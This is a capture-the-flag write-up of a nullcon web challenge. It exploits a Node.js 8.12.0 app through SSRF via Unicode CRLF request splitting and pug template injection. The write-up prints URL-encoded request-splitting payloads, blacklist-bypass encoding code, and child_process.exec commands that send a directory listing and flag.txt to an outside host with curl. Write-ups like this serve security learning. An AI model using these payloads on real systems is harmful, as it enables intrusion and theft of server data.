description :
Split this shit
http://web2.ctf.nullcon.net:8081/
Initial steps
When we first opened the website, we were presented with a static page that shows a GIF
but on viewing the source code there was an ajax request being sent
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("search").innerHTML = xhttp.responseText;
}
};
xhttp.open("GET", "/core?q=1", true);
xhttp.send();
We tried fuzzing the q
parameter but we got the same result and the same GIF.
So we decided to run dirsearch
on the challenge to see if there's any other interesting endpoints, and this was the result
upon visiting /source
, we get the same GIF once more...but we also get the source code of the challenge
//node 8.12.0
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.html'));
});
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/source.html'));
});
app.get('/getMeme',function(req,res){
res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p><a href="https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw">via GIPHY</a></p>')
});
app.get('/flag', function(req, res) {
var ip = req.connection.remoteAddress;
if (ip.includes('127.0.0.1')) {
var authheader = req.headers['adminauth'];
var pug2 = decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if(!x){
if (authheader === "secretpassword") {
var html = pug.render(pug2);
}
}
else{
res.send("No characters");
}
}
else{
res.send("You need to come from localhost");
}
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/getMeme?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>Errrrr, You have been Blocked</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
resps = chunk.toString();
res.send(resps);
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
Reviewing the code
As we can see, this is Nodejs v8.12.0
(very important) as the first line of the code states, the code uses express
as an HTTP server, http
library as an HTTP client and pug
as a template engine.
Before diving into the vulnerabilities,
first let me describe the flow of the application :
1 - /flag
:
app.get('/flag', function(req, res) {
var ip = req.connection.remoteAddress;
if (ip.includes('127.0.0.1')) {
var authheader = req.headers['adminauth'];
var pug2 = decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if(!x){
if (authheader === "secretpassword") {
var html = pug.render(pug2);
}
}
else{
res.send("No characters");
}
}
else{
res.send("You need to come from localhost");
}
});
the pathname gives us a hint that this is our destination, but to be able to interact with it you have to request it from the loopback address 127.0.0.1
, which means we should get an SSRF
(Server side request forgery), after the IP check it checks for some HTTP headers in the request, which means we should be able to inject CRLF
(Carriage Return/Line Feed) characters into the request to manipulate headers.
2 - /core
:
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/getMeme?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>Errrrr, You have been Blocked</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
resps = chunk.toString();
res.send(resps);
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
The q
parameter's value which is sent to /core
is getting appended to an endpoint called http://localhost:8081/getMeme?
and then the whole URL is passed through a filter (discussed in the next section)
then the URL gets requested by the http.get()
function
3- blacklist(url)
:
A url is passed to this function to make sure that it doesn't contain any of those ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"]
as a substring
Exploitation
First step, we searched for 0days in Nodejs v8.12.0
, we found one of the vulnerabilities very interesting as it gives us the CRLF injection
but it didn't provide any proof of concept so we had to figure out the exploitation technique ourselves.
So we opened github and started searching for the fix of this issue so we can understand what went wrong in the first place, until we found this commit https://github.com/nodejs/node/commit/dd20c0186f
which contains this line :
var invalidPath;
if (REVERT_CVE_2018_12116) {
invalidPath = /[\u0000-\u0020]/.test(path);
} else {
invalidPath = INVALID_PATH_REGEX.test(path);
}
if (invalidPath)
throw new TypeError('Request path contains unescaped characters');
}
So we knew we are dealing with multibyte unicode characters, this gave us a great insight about what we'll be doing.
So we set-up the challenge locally and fired up wireshark and started creating the SSRF locally first.
we could achieve a request that looks like this
by injecting this %C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0%2Fflag
into /core?q=<payload>
as %C4%A0
is a space and %C4%8D%C4%8A
is a newline.
Note : only the first response is sent to our browser back when we try this on the actual challenge so this exploit is going to be a blind one
So it's time to inject the headers
%C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0%2Fflag%C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8Aadminauth%3A%C4%A0secretpassword%C4%8D%C4%8Apug%3A%C4%A0aaa%C4%8D%C4%8Adummy%3A%C4%A0
using this payload our second request looks like this
GET /flag HTTP/1.1
Host: 127.0.0.1
adminauth: secretpassword
pug: secretpassword
dummy: HTTP/1.1
Host: localhost:8081
Connection: close
Now the only thing that's missing is the pug
template injection part
var authheader = req.headers['adminauth'];
var pug2 = decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if(!x){
if (authheader === "secretpassword") {
var html = pug.render(pug2);
}
}
else{
res.send("No characters");
There's a regex that makes sure that the value of pug
header doesn't contain any lowercase letters,
so we are not able to execute normal javascript code because in pug template, to run code your payload should look something like this - var x = global.process.mainModule.require('child_process').exec('curl -X POST http://nullcon2020.free.beeceptor.com/ -d \"$(ls)\"')
.
We thought of alternatives like jsfuck
but the request would be too large, until we remembered JJencode
which is a less popular way of obfuscating js code and its output is a lot smaller than jsfuck
so the previous payload would look like this when encoded but as you can see, this payload contains !
,"
and '
which are not allowed in the blacklist()
function,
so we made this code to get an equivalent these characters
for(i=0x0000;i<0xffff;i++){
if(Buffer.from(String.fromCharCode(i), "latin1").toString() == '!'){
console.log(i);
}
}
The code uses the technique described in this article https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/.
finally we made this python code to encode everything we need to encode in the jjencode payload
f1 = open('payload','r').read()
print f1.replace('!','%C8%A1').replace('\"','%C8%A2').replace('\'','%C8%A7').replace('+','%2b').replace(' ','+')
after we sent this as the pug
header value we got a request with the files on the server, and one of them is flag.txt
, so it was the time to construct our final payload which looked like
and executed var x = global.process.mainModule.require('child_process').exec('curl http://nullcon2020.free.beeceptor.com/$(cat flag.txt)')
so we finally got this request